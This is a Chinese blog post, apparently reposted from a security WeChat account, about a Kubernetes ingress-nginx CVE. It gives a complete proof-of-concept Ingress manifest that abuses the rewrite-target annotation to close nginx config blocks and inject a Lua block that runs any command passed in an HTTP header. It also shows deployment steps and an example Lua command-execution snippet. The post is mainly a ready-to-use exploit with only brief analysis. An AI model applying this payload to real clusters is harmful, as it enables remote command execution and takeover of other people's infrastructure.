如何通过捡漏获取价值2600$的Kubernetes组件CVE

EDI

JOIN US ▶▶▶

招新

EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。

欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn方向的师傅)有意向的师傅请联系邮箱[email protected][email protected](带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。

点击蓝字 ·  关注我们

如何通过捡漏获取价值2600$的Kubernetes组件CVE

直接给出 poc 并做个总结,通过注解注入特殊字符尝试闭合nginx配置文件块从而实现插入任意配置实现命令执行。

apiVersion: networking.k8s.io/v1kind: Ingressmetadata:  name: ingress-exploit  annotations:    kubernetes.io/ingress.class: "nginx"    nginx.ingress.kubernetes.io/rewrite-target: |      suanve/ last;      }      location suanve/ {        content_by_lua_block {          local rsfile = io.popen(ngx.req.get_  headers()["cmd"]);          local rschar = rsfile:read("*all");          ngx.say(rschar);        }      }      location /fs/{spec:  rules:  - host: k8s.evil.me    http:      paths:      - path: /        pathType: Prefix        backend:          service:            name: exploit            port:              number: 80

部署

wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/cloud/deploy.yaml

加一行hostNetwork: true

如何通过捡漏获取价值2600$的Kubernetes组件CVE

分析

正常发布ingress时,我们分析会写入到容器内部的 nginx.conf

如何通过捡漏获取价值2600$的Kubernetes组件CVE

然后ingress  里面参数   nginx.ingress.kubernetes.io/rewrite-target  

可以任意插入,就尝试插入 lua 代码

我们在 hackerone 上也看到了一些相关的信息,他这个是包含文件

https://hackerone.com/reports/1620702

如何通过捡漏获取价值2600$的Kubernetes组件CVE

我们继续检索发现
https://peirs.net/add-security-header-with-lua-and-nginx/  nginx 配置文件里面引入简短的 lua 代码使用

如何通过捡漏获取价值2600$的Kubernetes组件CVE

pua 下机器人

如何通过捡漏获取价值2600$的Kubernetes组件CVE

location /execute-command {    content_by_lua_block {        local handle = io.popen("ls -l")        local result = handle:read("*a")        handle:close()        ngx.say(result)    }}
这里发现应该是注入的 nginx.conf 配置文件有错误

如何通过捡漏获取价值2600$的Kubernetes组件CVE

这里构造闭合后就成功通过

如何通过捡漏获取价值2600$的Kubernetes组件CVE

我们去 nginx.conf 看一下目前是什么状况

如何通过捡漏获取价值2600$的Kubernetes组件CVE

直接访问路由,就可以看到执行了代码

如何通过捡漏获取价值2600$的Kubernetes组件CVE



但是只是执行单个命令,我们去看一下官网文档,方法很多

如何通过捡漏获取价值2600$的Kubernetes组件CVE

[https://github.com/openresty/lua-nginx-module#ngxreqget_headers](https://github.com/openresty/lua-nginx-module#ngxreqget_headers)

如何通过捡漏获取价值2600$的Kubernetes组件CVE

如何执行任意命令答案就呼之欲出了

EDI安全

如何通过捡漏获取价值2600$的Kubernetes组件CVE

扫二维码|关注我们

一个专注渗透实战经验分享的公众号


原文始发于微信公众号(EDI安全):如何通过捡漏获取价值2600$的Kubernetes组件CVE

版权声明:admin 发表于 2023年11月16日 上午11:31。
转载请注明:如何通过捡漏获取价值2600$的Kubernetes组件CVE | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...